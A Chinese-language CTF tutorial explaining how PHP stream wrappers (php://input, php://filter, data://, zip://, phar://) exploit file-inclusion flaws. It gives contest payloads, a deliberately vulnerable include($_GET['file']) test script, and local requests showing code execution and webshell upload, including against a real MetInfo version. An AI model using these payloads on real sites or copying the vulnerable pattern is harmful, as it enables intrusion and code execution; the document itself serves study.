ctf中常見的php偽協議應用
0x01 知識儲備
php支持的協議和封裝協議可以看http://php.net/manual/zh/wrappers.php,大致有12種,總結了一些真實漏洞和ctf比賽中常出現的案例,發現其中用的最多的四種是:php://、data://、zlib://、phar://
三個白帽
payload:php://filter/write=convert.base64-decode/resource=shell.php
bypass:死亡die,base64在解碼時會忽略特殊字符
pctf2016
payload:data:text/plain;base64,MS50eHQ=
bypass:stripos等if判斷
hctf2016+swpu2016
payload1+payload2
payload1:php://filter/convert.base64-encode/resource=../flag.php
payload2:phar://xxx.jpg/shell
西安華山杯2016
payload:php://input
payload:data:text/plain;base64,xxxx
0x02 相關研究
1)、php://
這里分析常用到的php://input和php://filter.其中php://input要求"allow_url_include"設置為"On"
寫個測試文件test.php
<?php
include($_GET['file']);
?>
本地測試發現一個有趣的現象(本地1.php文件內容為phpinfo())
1、訪問http://localhost:88/test.php?file=php://input
POST:php://filter/read=convert.base64-encode/resource=1.php
回顯結果:php://filter/read=convert.base64-encode/resource=1.php
POST:<?php phpinfo();?>
回顯結果:phpinfo()執行的結果
2、訪問http://localhost:88/test.php?file=php://filter/read=convert.base64-encode/resource=1.php
回顯結果:PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=
3、訪問http://localhost:88/test.php?file=php://filter//resource=1.php
回顯結果:phpinfo()執行的結果
4、訪問http://localhost:88/test.php?file=PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=(可以是其他任意字符,這里我只是想和第二種情況好比較)
回顯結果:Warning: include(PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=): failed to open stream: No such file or directory in C:\phpStudy\WWW\test.php on line 2
為什么會出現四種不同的情況呢?我們可以把include()函數看成打開文件的file_get_contents()函數,當然又有所不同,include能解析php代碼,重要的是兩者共同的“流”的概念,這就解釋了第四種include直接包含字符變量出現解析錯誤,因為沒有“流”。。第一種有php://input流,相當於直接包含並嘗試解析,如果能解析則解析,如果是變量,會不被解析直接回顯,第二種有php://filter,可以看做經過過濾的流,讀取1.php的內容,經過base64編碼,然后include包含,可以看做include直接包含base64編碼的變量,不被解析,直接回顯,第三種相較於第二種,缺少了base64編碼,include直接包含文件,讀取該文件的內容並解析。
綜上所述,就是“流”+“字符變量”,include不解析直接輸出字符變量,“流”+“php代碼”,include會解析執行,沒有“流”則失敗
2)、data://
這里分析常用到的data:text/plain,xxxxxxx、data:text/plain;base64,xxxxxxx
訪問http://localhost:88/test.php?file=data:text/plain,<?php phpinfo();?>
執行phpinfo
訪問http://localhost:88/test.php?file=data:text/plain,aaaaa
輸出aaaaa
訪問http://localhost:88/test.php?file=data:text/plain;base64,PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=
執行phpinfo
訪問http://localhost:88/test.php?file=data:text/plain;base64,aaaaaa
輸出aaaaaa base64解碼后的內容
如果用file_get_contents函數做測試的話,大多都和include函數相同,不同的就是php代碼不能解析,直接輸出
3)、zlib://
有一種用法是:zip://archive.zip#dir/file.txt
找到一個真實漏洞:metinfo,版本大概是5.3.9
參見cheery師傅的博客,metinfo 最新代碼執行一枚(8月30日)
漏洞成因:require_once $depth.'../include/captcha.class.php';
變量$depth可控
利用方式為:構造文件目錄結構為"../include/captcha.class.php",內含shell的文件,(在linux下才可構造,win下文件名不能含特殊字符),然后壓縮為zip包,再把zip后綴改為png並上傳
本地為了測試方便,修改為require_once $_GET['file'].'captcha.class.php';
訪問`http://localhost:88/test.php?file=zip://C:/phpStudy/WWW/test.jpg%23`即可getshell
4)、phar://
這種和zip偽協議差不多,用法有一點點區別一個是“#”,一個是“/”
phar://archive.zip/dir/file.txt
同理訪問http://localhost:88/test.php?file=phar://C:/phpStudy/WWW/test.jpg/即可getshell
0x03 應用場景
php://input和data://可以用來繞過一些判斷語句
data://+include可以遠程命令執行
php://filter可以用來對磁盤讀寫,ctf中任意文件讀取用的比較多,還有就是三個白帽挑戰中的繞過死亡die
zip://和phar://主要用於配合php://filter讀源碼審計上傳拿getshell
0x04再推薦幾篇:
http://www.4o4notfound.org/index.php/archives/31/
https://www.cnblogs.com/LittleHann/p/3665062.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html